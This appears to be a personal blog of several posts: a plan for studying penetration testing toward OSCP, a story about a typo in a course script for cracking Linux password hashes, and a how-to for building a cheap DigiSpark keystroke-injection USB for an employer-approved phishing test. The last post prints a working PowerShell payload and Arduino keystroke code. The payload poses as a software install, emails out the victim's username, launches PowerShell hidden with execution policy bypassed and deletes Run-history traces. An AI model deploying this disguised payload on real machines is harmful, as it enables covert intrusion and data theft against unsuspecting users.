Cyber Security/Red Teaming Path

Caveat: I know this isn’t our usual posts where we show some random thing we’ve had to do to make something work. However, I’ve been struggling to find a solid path of how to progress in the following part of the Cyber Security industry so I thought I would post it on here so others could see what I’m planning on doing. I will provide an update later on in the year with how I’m getting on and what I’ve found needs additional research/training.

As discussed in one of my previous posts I’ve been getting into Cyber Security again specifically Red Teaming/Penetration Testing. I’ve spent the past few months trying to figure out how to go about expanding my knowledge and enjoying what I’ve been doing.

I’ve struggled over the past month or so to try and figure out what way I want to go with this and how I go about getting there. I’ve read people mention that OSCP by Offensive Security: is a good certification to get however, my research suggests that it’s quite complex and requires a lot of knowledge which I don’t have. Further to this, it seems like a significant leap from where I am now and where I have to be to become certified with no real way of realising how far or close you are without taking the exam.

So here is a bit about me and what path I plan to follow in 2022 to hopefully get to the level where I can pass OSCP.

My Background

So, a little bit about me in case anyone stumbles across this and wants to understand what I’ve learned and where I am planning on taking the next steps.

I graduated in 2012 with a Computer, Networks & Security degree. This degree primarily focused on Cisco’s CCNP certification at the time which included Switching, Routing, Network Security (VPNs and some Firewalling) and Network Optimisation (Quality of Service). Whilst going through this degree I did get the opportunity to expand on some of the security aspects so I elected to take Biometrics, as well as Computer System Security which focused on Encryption and another module that focused on Anti Virus. Both of these last two modules ended up having coding assignments which from memory I wrote in Java.

After that, I spent a couple of years working with a consultancy firm gaining experience and focusing on Network Security gaining my CCNP Security in the process. At this point, I was pretty proficient in a lot of the networking technologies having my CCNP Routing & Switching as well as the Security track. Then it all stopped. I ended up moving jobs due to personal reasons and moving into an infrastructure based role doing all sorts of other things becoming more of a generalist rather than focused on a specific path. However, I was granted the opportunity to get my Certified Ethical Hacker (CEH) from EC-Council back in 2015 which I passed but never used again.

So this pretty much brings me up to 2021 where I discovered the Darknet Diaries podcast which I mentioned in a previous post. Since catching up with this podcast I have undertaken the following training/expierence.

As you can see I haven’t done too much since deciding to go down this path and my previous experience as a consultant has all but illuded me now with it being over 7 years ago that I was doing it. Nor have I spent too much money.

The Path

So now to the path I have chosen. First of all, I am going to take the certification eJPT which is e-Learn Junior Pen Tester: This should be a nice starter into the field and as I have a lot of experience in my day job at networking so I’m hoping that taking this exam will allow me to pass it to keep my motivation up whilst allowing me to see where I need to improve. This one costs $200 and the training is free through INE.

Then once I have passed that, I am going to move on with the following objectives:

  • Read the books I purchased above.
  • Complete more of the Try Hack Me rooms
  • Sign up to and complete some of the Hack the Box rooms. Will need to check what costs are involved with this.

Once confident in my abilities I am going to attempt the following qualification from e-Learn: This certification costs $400 plus if you want access to any of the training material you have to sign up for a paid version of INE, which is $49/Month. This from what I can see is a good stepping stone towards the OSCP which is my goal.

Hopefully, at this point and passing both of these, I will be more confident to have an attempt at OSCP.

For further information on how I came up with this plan please look at this security certification roadmap that I found which from what I can see is pretty current at the time of writing – Jan 2022:

Update – 14/01/2022

So today I took my eJPT lab exam. The exam itself was really good with 20 multi-choice questions which you could answer depending on how far you got and how much you managed to compromise. You get 3 full days to access the lab and go through the pen test and need to get 75% correct. I started at 8:30am, went through all 20 questions and downloaded the engagement pack.

You get a VPN file that drops you onto a network for you to begin your work. Within 3 hours I had compromised everything on one network and had pivoted to another, by this point I had answered 19 questions and three of those I couldn’t be 100% sure on. At that point, I was fairly sure I had already passed as I was very confident or completely sure on 16 answers but wanted more.

I spent another three hours trying to compromise another server to no avail. I went through everything I could think of and because it’s open book even researched different exploits/techniques I could use to try and get access. After spending this time work got in the way and I needed to get back to the day job so I guessed on the final question I didn’t have an answer for and clicked submit. I passed with 85% which is great. You get your result instantly.

Whilst I’m glad I passed and got to experience this lab and felt that the lab was a fantastic environment to implement and test my skills, I am annoyed. I’m annoyed because I couldn’t compromise the last piece in this puzzle and get the answers to all of the questions. Unfortunately, you do not get any feedback from the exam which I wish eLearnSecurity would provide that was I could be confident on what I need to brush upon. I feel I have a good idea of what I need to refresh but some clarification would have been nice.

Anyway onto the next one: eCPPTv2.

Coding Hacking Linux

Stupidity at its best.

So I’ve been in the IT industry for over ten years working with a variety of organisations doing all sorts of cool things. Thoughout my career I have done a variety of stupid things and as I got older I was convinced that these stupid mistakes would become less or would become so obscure that they wouldn’t be considered stupid. This obviously isn’t the case based on the title of this blog post.

About a month ago, I got an email from EC-Council’s training platform: Codered, due to my Certified Ethical Hacker (CEH) certification expiring. Offering a bunch of courses all for $1. Now I know what you’re thinking here, this is a phishing scam but I went directly to the website signed in and it was true. I signed up for Wireshark for Hackers and Black Hat Python. The Wireshark course was for beginners which needless to say it very much was. I picked up a few things but what annoyed me the most was watching the trainer figure out what he was trying to teach on video, not cool. The Python course though was cool, the educator was brilliant. Super detailed but put it all in a way that was really easy to understand. This was also helped by the fact that I’ve done some Python work before so the syntax was familiar.

Now the backstory is done, onto the stupidity part. Within the Python course, there was a module specifically dedicated to Brute Force cracking Linux/Unix passwords from the /etc/shadow or /etc/passwd file. This used the module crypt. I build the script and had it all ready but with me being on a Windows machine it wouldn’t work with a sample shadow/passwd file available on the internet. So after a little bit of time, I built a Linux VM for something else, copied the file across and tried it out.

Fail. The code wouldn’t run and just threw the following error:

AttributeError: ‘module’ object has no attribute ‘crpyt’

So to everyone’s favourite troubleshooter, Google. I put the error into Google and nothing. This is very unusual, I almost always find someone with an error pretty much matching what I have. I’m not a programmer after all. I found a bunch of people with the same error but not against the same attribute. I spent hours, researching into this trying to find if there was a Pip module that I hadn’t installed. For those of you that are unsure Pip is a program to install Python modules onto a system. Everything suggested that I needed to install the cryptography module on Linux but when I tried that it said it was already installed. So I thought maybe it was the distribution of Linux that I was using, Kali. The trainer used Ubuntu so I moved over to one of my servers with Ubuntu on to try that. No dice.

Finally, I decided to give up on searching and went to the line of code in question which was throwing the error:

digest = crypt.crpyt(word, hashed_pass)

I use Visual Studio Code (VSCode) for my programming and the nice thing is in Python on VSCode each piece of code is usually colour coded, so green for a module, yellow for a function, light blue for variable and orange for some text, etc. This was when I realised the word crpyt after crypt. was white. Oh, balls, it’s a typo, changed it to crypt, the word went yellow, re-copied it to my Kali machine and hey presto everything is working.

For all of you out there that are either just starting out or have been in the field for a short while and end up making a mistake like this. Don’t worry, someone who’s got a job as a Senior Engineer makes these mistakes too and I don’t doubt that I won’t stop making these mistakes until I retire. Don’t get disheartened by it, it’s human nature and I hope this post helps you in realising that. For those of you that run into this issue yourself whilst messing about with Python, check your code and make sure you haven’t made a typo as that error can be quite misleading if you don’t read it letter by letter like me.


Poor mans Rubber Ducky in the UK

This is a long one!

So a month or so ago I went to an event titled “Cyber Security Masterclass” which was the first event I’ve been to since the whole COVID-19 lockdown thing. The event itself was OK, unfortunately, they aimed it at low-level technical engineers and decision-makers which made it difficult for myself and my boss who are quite technical. Whilst there the Security Analyst told me about a podcast called Darknet Diaries: which I started listening to. Turns out I hit this podcast pretty hard listening to over 60 hours of episodes in a month… Whoops.

The other thing that the Security Analyst showed us was the good old Rubber Ducky which is a USB device that emulates a keyboard that you can put scripts onto. This is something I’d seen before but never really delved into.

After the event, I got an idea to try and use one of these devices at work. Got approval from my boss so I started looking into it further. I found the company that made the Rubber Ducky ( and whilst they looked good I couldn’t justify £80 for a single device knowing that I was going to drop three of them off at different locations. Time to start looking at cheaper alternatives. Very quickly I stumbled across an Arduino board that does this sort of thing, the DigiSpark ATTINY85:

These boards come in a variety of options from a development board to one that looks like a normal USB drive. As a PoC I went for the development board.

From here I followed this guide to get my computer set up and ready for coding up the board: Whilst this worked fine and got me up and running, I was running into issues with some of the special characters on the keyboard. After a bit of research, it appeared that the package I downloaded only supported US keyboard layouts 🤦. A lot of the research suggested modifying the scancode-ascii-table.h file to replace some of the special characters with ASCII characters that I needed. This seemed like a complete ballache for something that I’m surprised wasn’t baked into the solution from the get-go. However, after some more digging, I found another GitHub repo that had a Multi-Keyboard Layout option: Going through this and re-adding the software through Board Manager in Arduino got me exactly what I needed.

So, so far so good, we have a USB chip that supports UK keyboard layouts and we’ve set up our computer to be able to write some code to the ATTINY85. So what’s left to do:

  1. Figure out a script to use which allows us to see which individuals have plugged in the USB.
  2. Sort out some casing for the USB device to make it a bit more realistic.
  3. Work out a plan to drop the USBs off at site.

So let’s look at the first thing. What do we want to do with our potential victims of this kind of attack? Obviously, we don’t want to do something that may potentially compromise our employer’s systems nor do we want to do anything that may get us caught. I think a script to send me an email with the username of who’s plugged the device into their computer should be a good one. Looking into this I found a few GitHub repos that have a variety of attack options, however, this one appeared to be one used by a lot of people: GitHub – CedArctic/DigiSpark-Scripts: USB Rubber Ducky type scripts written for the DigiSpark.

I decided to take advantage of Windows which has email functionality baked-in through .NET so a Powershell script was the obvious choice. At work, we recently replaced our networking infrastructure with a new vendor so I could take care of the third point with this too by posing the USB as some software to allow the IT Team to manage the network. After some messing about with Powershell here’s the script I came up with:

$StartingPopup = New-Object -ComObject Wscript.Shell
$StartingPopup.Popup("Network Management Software is being installed, please wait...",0,"Software Installing",0x1)

$LoggedInUser = $env:UserName
$User = ""
$password = Get-Content ".\EmailPwd.txt" | ConvertTo-SecureString -Key (Get-Content ".\EmailKey.aes")
$credential = New-Object System.Management.Automation.PSCredential $User, $password

## Define the Send-MailMessage parameters
$mailParams = @{
    SmtpServer                 = ''
    Port                       = '587' 
    UseSSL                     = $true 
    Credential                 = $credential
    From                       = ''
    To                         = '
    Subject                    = "USB has been plugged in"
    Body                       = 'USB has been plugged in by ' + $LoggedInUser
    DeliveryNotificationOption = 'OnFailure', 'OnSuccess'

## Send the message
Send-MailMessage @mailParams

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Network Management System.lnk")
$Shortcut.TargetPath = ""

##clean up run commands
$RunList = Get-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "MRUList"
$LatestRun = $RunList.MRUList.SubString(0,1)
Remove-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name $LatestRun

$CompletionPopup = New-Object -ComObject Wscript.Shell
$CompletionPopup.Popup("Network Management Software has been installed. There is a shortcut on your desktop.",0,"Software Installed",0x1)

A pretty simple Powershell script that pulls the logged-in username sets up some mail parameters and sends a mail, creates a shortcut on the users desktop and then displays a popup box to show that the “software” has been installed. The credentials have been encrypted using the following guide:

Right so to save me setting up a hosting server for these files I’m going to put them on a shared drive as I have access to it. If you were doing this for an organisation you didn’t have this access to, you’d need to set up a hosting server with the following files and probably use some unauthenticated SMTP Server to save on requiring encrypted credentials:

  1. Powershell script
  2. Shortcut Icon

Now we need to create use/modify the script from the GitHub repo above for executing a Powershell script and put it onto our USB Rubber Ducky:

The main thing here for me is to remove the download client functions as we’re storing our file on a share that all users can access and then change the Execution Policy to allow the script to run and run it. So for us the Arduino code looks like this:

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.print("powershell.exe -ExecutionPolicy \"Unrestricted\" -WindowStyle \"hidden\" -File \"S:\\IT Services\\TalsScripts\\EmailScript.ps1\"");

We’re now onto the final stage, we’ve configured the device and created the relevant scripts we want to run however, we still have just an exposed logic board and it certainly looks very dodgy. To sort this one out I called on my previous knowledge of 3D printing, time to hit Thingiverse to see what’s available. Again quite quickly I stumbled across this STL file that seemed to have everything I needed: I got one of these printed at a local 3D printer shop and found the tolerances to be just a bit too tight. The board fitted but it felt like I was going to break it and the back piece wouldn’t connect to its slot without some filing, also getting the print of the bed of the printer caused some warping due to the top being so thin. I, therefore, went to Tinkercad to modify the STL file by increasing the size of the base by .15mm all the way around and increasing the height by 1mm. I also increased the height of the top by 1mm so it would fit into its slot.

So there we have it, a Rubber Ducky device set up to execute a Powershell script on plug into a computer that looks like a normal USB drive and for under £10 a device.